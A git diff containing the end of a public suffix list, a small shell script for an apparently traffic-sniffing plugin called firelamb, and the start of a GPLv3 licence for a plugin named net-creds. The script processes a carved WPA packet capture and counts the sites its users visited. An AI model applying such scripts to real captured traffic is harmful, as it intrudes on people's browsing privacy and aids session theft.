+embaixada.st +gov.st +mil.st +net.st +org.st +principe.st +saotome.st +store.st + +// su : http://en.wikipedia.org/wiki/.su +su + +// sv : http://www.svnet.org.sv/svpolicy.html +*.sv + +// sy : http://en.wikipedia.org/wiki/.sy +// see also: http://www.gobin.info/domainname/sy.doc +sy +edu.sy +gov.sy +net.sy +mil.sy +com.sy +org.sy + +// sz : http://en.wikipedia.org/wiki/.sz +// http://www.sispa.org.sz/ +sz +co.sz +ac.sz +org.sz + +// tc : http://en.wikipedia.org/wiki/.tc +tc + +// td : http://en.wikipedia.org/wiki/.td +td + +// tel: http://en.wikipedia.org/wiki/.tel +// http://www.telnic.org/ +tel + +// tf : http://en.wikipedia.org/wiki/.tf +tf + +// tg : http://en.wikipedia.org/wiki/.tg +// http://www.nic.tg/nictg/index.php implies no reserved 2nd-level domains, +// although this contradicts wikipedia. +tg + +// th : http://en.wikipedia.org/wiki/.th +// Submitted by registry 2008-06-17 +th +ac.th +co.th +go.th +in.th +mi.th +net.th +or.th + +// tj : http://www.nic.tj/policy.htm +tj +ac.tj +biz.tj +co.tj +com.tj +edu.tj +go.tj +gov.tj +int.tj +mil.tj +name.tj +net.tj +nic.tj +org.tj +test.tj +web.tj + +// tk : http://en.wikipedia.org/wiki/.tk +tk + +// tl : http://en.wikipedia.org/wiki/.tl +tl +gov.tl + +// tm : http://www.nic.tm/rules.html +// list of 2nd level tlds ? +tm + +// tn : http://en.wikipedia.org/wiki/.tn +// http://whois.ati.tn/ +tn +com.tn +ens.tn +fin.tn +gov.tn +ind.tn +intl.tn +nat.tn +net.tn +org.tn +info.tn +perso.tn +tourism.tn +edunet.tn +rnrt.tn +rns.tn +rnu.tn +mincom.tn +agrinet.tn +defense.tn +turen.tn + +// to : http://en.wikipedia.org/wiki/.to +// Submitted by registry 2008-06-17 +to +com.to +gov.to +net.to +org.to +edu.to +mil.to + +// tr : http://en.wikipedia.org/wiki/.tr +*.tr +!nic.tr +// Used by government in the TRNC +// http://en.wikipedia.org/wiki/.nc.tr +gov.nc.tr + +// travel : http://en.wikipedia.org/wiki/.travel +travel + +// tt : http://www.nic.tt/ +tt +co.tt +com.tt +org.tt +net.tt +biz.tt +info.tt +pro.tt +int.tt +coop.tt +jobs.tt +mobi.tt +travel.tt +museum.tt +aero.tt +name.tt +gov.tt +edu.tt + +// tv : http://en.wikipedia.org/wiki/.tv +// Not listing any 2LDs as reserved since none seem to exist in practice, +// Wikipedia notwithstanding. +tv + +// tw : http://en.wikipedia.org/wiki/.tw +tw +edu.tw +gov.tw +mil.tw +com.tw +net.tw +org.tw +idv.tw +game.tw +ebiz.tw +club.tw +網路.tw +組織.tw +商業.tw + +// tz : http://en.wikipedia.org/wiki/.tz +// Submitted by registry 2008-06-17 +// Updated from http://www.tznic.or.tz/index.php/domains.html 2010-10-25 +ac.tz +co.tz +go.tz +mil.tz +ne.tz +or.tz +sc.tz + +// ua : http://www.nic.net.ua/ +ua +com.ua +edu.ua +gov.ua +in.ua +net.ua +org.ua +// ua geo-names +cherkassy.ua +chernigov.ua +chernovtsy.ua +ck.ua +cn.ua +crimea.ua +cv.ua +dn.ua +dnepropetrovsk.ua +donetsk.ua +dp.ua +if.ua +ivano-frankivsk.ua +kh.ua +kharkov.ua +kherson.ua +khmelnitskiy.ua +kiev.ua +kirovograd.ua +km.ua +kr.ua +ks.ua +kv.ua +lg.ua +lugansk.ua +lutsk.ua +lviv.ua +mk.ua +nikolaev.ua +od.ua +odessa.ua +pl.ua +poltava.ua +rovno.ua +rv.ua +sebastopol.ua +sumy.ua +te.ua +ternopil.ua +uzhgorod.ua +vinnica.ua +vn.ua +zaporizhzhe.ua +zp.ua +zhitomir.ua +zt.ua + +// ug : http://www.registry.co.ug/ +ug +co.ug +ac.ug +sc.ug +go.ug +ne.ug +or.ug + +// uk : http://en.wikipedia.org/wiki/.uk +*.uk +*.sch.uk +!bl.uk +!british-library.uk +!icnet.uk +!gov.uk +!jet.uk +!mod.uk +!nel.uk +!nhs.uk +!nic.uk +!nls.uk +!national-library-scotland.uk +!parliament.uk +!police.uk + +// us : http://en.wikipedia.org/wiki/.us +us +dni.us +fed.us +isa.us +kids.us +nsn.us +// us geographic names +ak.us +al.us +ar.us +as.us +az.us +ca.us +co.us +ct.us +dc.us +de.us +fl.us +ga.us +gu.us +hi.us +ia.us +id.us +il.us +in.us +ks.us +ky.us +la.us +ma.us +md.us +me.us +mi.us +mn.us +mo.us +ms.us +mt.us +nc.us +nd.us +ne.us +nh.us +nj.us +nm.us +nv.us +ny.us +oh.us +ok.us +or.us +pa.us +pr.us +ri.us +sc.us +sd.us +tn.us +tx.us +ut.us +vi.us +vt.us +va.us +wa.us +wi.us +wv.us +wy.us +// The registrar notes several more specific domains available in each state, +// such as state.*.us, dst.*.us, etc., but resolution of these is somewhat +// haphazard; in some states these domains resolve as addresses, while in others +// only subdomains are available, or even nothing at all. We include the +// most common ones where it's clear that different sites are different +// entities. +k12.ak.us +k12.al.us +k12.ar.us +k12.as.us +k12.az.us +k12.ca.us +k12.co.us +k12.ct.us +k12.dc.us +k12.de.us +k12.fl.us +k12.ga.us +k12.gu.us +// k12.hi.us Hawaii has a state-wide DOE login: bug 614565 +k12.ia.us +k12.id.us +k12.il.us +k12.in.us +k12.ks.us +k12.ky.us +k12.la.us +k12.ma.us +k12.md.us +k12.me.us +k12.mi.us +k12.mn.us +k12.mo.us +k12.ms.us +k12.mt.us +k12.nc.us +k12.nd.us +k12.ne.us +k12.nh.us +k12.nj.us +k12.nm.us +k12.nv.us +k12.ny.us +k12.oh.us +k12.ok.us +k12.or.us +k12.pa.us +k12.pr.us +k12.ri.us +k12.sc.us +k12.sd.us +k12.tn.us +k12.tx.us +k12.ut.us +k12.vi.us +k12.vt.us +k12.va.us +k12.wa.us +k12.wi.us +k12.wv.us +k12.wy.us + +cc.ak.us +cc.al.us +cc.ar.us +cc.as.us +cc.az.us +cc.ca.us +cc.co.us +cc.ct.us +cc.dc.us +cc.de.us +cc.fl.us +cc.ga.us +cc.gu.us +cc.hi.us +cc.ia.us +cc.id.us +cc.il.us +cc.in.us +cc.ks.us +cc.ky.us +cc.la.us +cc.ma.us +cc.md.us +cc.me.us +cc.mi.us +cc.mn.us +cc.mo.us +cc.ms.us +cc.mt.us +cc.nc.us +cc.nd.us +cc.ne.us +cc.nh.us +cc.nj.us +cc.nm.us +cc.nv.us +cc.ny.us +cc.oh.us +cc.ok.us +cc.or.us +cc.pa.us +cc.pr.us +cc.ri.us +cc.sc.us +cc.sd.us +cc.tn.us +cc.tx.us +cc.ut.us +cc.vi.us +cc.vt.us +cc.va.us +cc.wa.us +cc.wi.us +cc.wv.us +cc.wy.us + +lib.ak.us +lib.al.us +lib.ar.us +lib.as.us +lib.az.us +lib.ca.us +lib.co.us +lib.ct.us +lib.dc.us +lib.de.us +lib.fl.us +lib.ga.us +lib.gu.us +lib.hi.us +lib.ia.us +lib.id.us +lib.il.us +lib.in.us +lib.ks.us +lib.ky.us +lib.la.us +lib.ma.us +lib.md.us +lib.me.us +lib.mi.us +lib.mn.us +lib.mo.us +lib.ms.us +lib.mt.us +lib.nc.us +lib.nd.us +lib.ne.us +lib.nh.us +lib.nj.us +lib.nm.us +lib.nv.us +lib.ny.us +lib.oh.us +lib.ok.us +lib.or.us +lib.pa.us +lib.pr.us +lib.ri.us +lib.sc.us +lib.sd.us +lib.tn.us +lib.tx.us +lib.ut.us +lib.vi.us +lib.vt.us +lib.va.us +lib.wa.us +lib.wi.us +lib.wv.us +lib.wy.us + +// k12.ma.us contains school districts in Massachusetts. The 4LDs are +// managed indepedently except for private (PVT), charter (CHTR) and +// parochial (PAROCH) schools. Those are delegated dorectly to the +// 5LD operators. +pvt.k12.ma.us +chtr.k12.ma.us +paroch.k12.ma.us + +// uy : http://www.antel.com.uy/ +*.uy + +// uz : http://www.reg.uz/registerr.html +// are there other 2nd level tlds ? +uz +com.uz +co.uz + +// va : http://en.wikipedia.org/wiki/.va +va + +// vc : http://en.wikipedia.org/wiki/.vc +// Submitted by registry 2008-06-13 +vc +com.vc +net.vc +org.vc +gov.vc +mil.vc +edu.vc + +// ve : http://registro.nic.ve/nicve/registro/index.html +*.ve + +// vg : http://en.wikipedia.org/wiki/.vg +vg + +// vi : http://www.nic.vi/newdomainform.htm +// http://www.nic.vi/Domain_Rules/body_domain_rules.html indicates some other +// TLDs are "reserved", such as edu.vi and gov.vi, but doesn't actually say they +// are available for registration (which they do not seem to be). +vi +co.vi +com.vi +k12.vi +net.vi +org.vi + +// vn : https://www.dot.vn/vnnic/vnnic/domainregistration.jsp +vn +com.vn +net.vn +org.vn +edu.vn +gov.vn +int.vn +ac.vn +biz.vn +info.vn +name.vn +pro.vn +health.vn + +// vu : http://en.wikipedia.org/wiki/.vu +// list of 2nd level tlds ? +vu + +// ws : http://en.wikipedia.org/wiki/.ws +// http://samoanic.ws/index.dhtml +ws +com.ws +net.ws +org.ws +gov.ws +edu.ws + +// IDN ccTLDs +// Please sort by ISO 3166 ccTLD, then punicode string +// when submitting patches and follow this format: +// ("" ) : +// [optional sponsoring org] +// + +// xn--mgbaam7a8h ("Emerat" Arabic) : AE +//http://nic.ae/english/arabicdomain/rules.jsp +امارات + +// xn--54b7fta0cc ("Bangla" Bangla) : BD +বাংলা + +// xn--fiqs8s ("China" Chinese-Han-Simplified <.Zhonggou>) : CN +// CNNIC +// http://cnnic.cn/html/Dir/2005/10/11/3218.htm +中国 + +// xn--fiqz9s ("China" Chinese-Han-Traditional <.Zhonggou>) : CN +// CNNIC +// http://cnnic.cn/html/Dir/2005/10/11/3218.htm +中國 + +// xn--lgbbat1ad8j ("Algeria / Al Jazair" Arabic) : DZ +الجزائر + +// xn--wgbh1c ("Egypt" Arabic .masr) : EG +// http://www.dotmasr.eg/ +مصر + +// xn--node ("ge" Georgian (Mkhedruli)) : GE +გე + +// xn--j6w193g ("Hong Kong" Chinese-Han) : HK +// https://www2.hkirc.hk/register/rules.jsp +香港 + +// xn--h2brj9c ("Bharat" Devanagari) : IN +// India +भारत + +// xn--mgbbh1a71e ("Bharat" Arabic) : IN +// India +بھارت + +// xn--fpcrj9c3d ("Bharat" Telugu) : IN +// India +భారత్ + +// xn--gecrj9c ("Bharat" Gujarati) : IN +// India +ભારત + +// xn--s9brj9c ("Bharat" Gurmukhi) : IN +// India +ਭਾਰਤ + +// xn--45brj9c ("Bharat" Bengali) : IN +// India +ভারত + +// xn--xkc2dl3a5ee0h ("India" Tamil) : IN +// India +இந்தியா + +// xn--mgba3a4f16a ("Iran" Persian) : IR +ایران + +// xn--mgba3a4fra ("Iran" Arabic) : IR +ايران + +//xn--mgbayh7gpa ("al-Ordon" Arabic) JO +//National Information Technology Center (NITC) +//Royal Scientific Society, Al-Jubeiha +الاردن + +// xn--3e0b707e ("Republic of Korea" Hangul) : KR +한국 + +// xn--fzc2c9e2c ("Lanka" Sinhalese-Sinhala) : LK +// http://nic.lk +ලංකා + +// xn--xkc2al3hye2a ("Ilangai" Tamil) : LK +// http://nic.lk +இலங்கை + +// xn--mgbc0a9azcg ("Morocco / al-Maghrib" Arabic) : MA +المغرب + +// xn--mgb9awbf ("Oman" Arabic) : OM +عمان + +// xn--ygbi2ammx ("Falasteen" Arabic) : PS +// The Palestinian National Internet Naming Authority (PNINA) +// http://www.pnina.ps +فلسطين + +// xn--90a3ac ("srb" Cyrillic) : RS +срб + +// xn--p1ai ("rf" Russian-Cyrillic) : RU +// http://www.cctld.ru/en/docs/rulesrf.php +рф + +// xn--wgbl6a ("Qatar" Arabic) : QA +// http://www.ict.gov.qa/ +قطر + +// xn--mgberp4a5d4ar ("AlSaudiah" Arabic) : SA +// http://www.nic.net.sa/ +السعودية + +// xn--mgberp4a5d4a87g ("AlSaudiah" Arabic) variant : SA +السعودیة + +// xn--mgbqly7c0a67fbc ("AlSaudiah" Arabic) variant : SA +السعودیۃ + +// xn--mgbqly7cvafr ("AlSaudiah" Arabic) variant : SA +السعوديه + +// xn--ogbpf8fl ("Syria" Arabic) : SY +سورية + +// xn--mgbtf8fl ("Syria" Arabic) variant : SY +سوريا + +// xn--yfro4i67o Singapore ("Singapore" Chinese-Han) : SG +新加坡 + +// xn--clchc0ea0b2g2a9gcd ("Singapore" Tamil) : SG +சிங்கப்பூர் + +// xn--o3cw4h ("Thai" Thai) : TH +// http://www.thnic.co.th +ไทย + +// xn--pgbs0dh ("Tunis") : TN +// http://nic.tn +تونس + +// xn--kpry57d ("Taiwan" Chinese-Han-Traditional) : TW +// http://www.twnic.net/english/dn/dn_07a.htm +台灣 + +// xn--kprw13d ("Taiwan" Chinese-Han-Simplified) : TW +// http://www.twnic.net/english/dn/dn_07a.htm +台湾 + +// xn--nnx388a ("Taiwan") variant : TW +臺灣 + +// xn--j1amh ("ukr" Cyrillic) : UA +укр + +// xn--mgb2ddes ("AlYemen" Arabic) : YE +اليمن + +// xxx : http://icmregistry.com +xxx + +// ye : http://www.y.net.ye/services/domain_name.htm +*.ye + +// yu : http://www.nic.yu/pravilnik-e.html +*.yu + +// za : http://www.zadna.org.za/slds.html +*.za + +// zm : http://en.wikipedia.org/wiki/.zm +*.zm + +// zw : http://en.wikipedia.org/wiki/.zw +*.zw diff --git a/plugins/external/firelamb/quick-run-stats.sh b/plugins/external/firelamb/quick-run-stats.sh new file mode 100755 index 0000000..436d054 --- /dev/null +++ b/plugins/external/firelamb/quick-run-stats.sh @@ -0,0 +1,3 @@ +rm -rf lamb_braai/* +python firelamb-singe.py -f ~/code/traffic-tracking/wpa/wolves-jun26-1pm-01-dec-carved.cap +find lamb_braai|grep -i visited|xargs -n1 lynx -dump|grep "\["|cut -d\] -f2|sort| uniq -c|sort -r diff --git a/plugins/external/net-creds/LICENSE b/plugins/external/net-creds/LICENSE new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/plugins/external/net-creds/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under 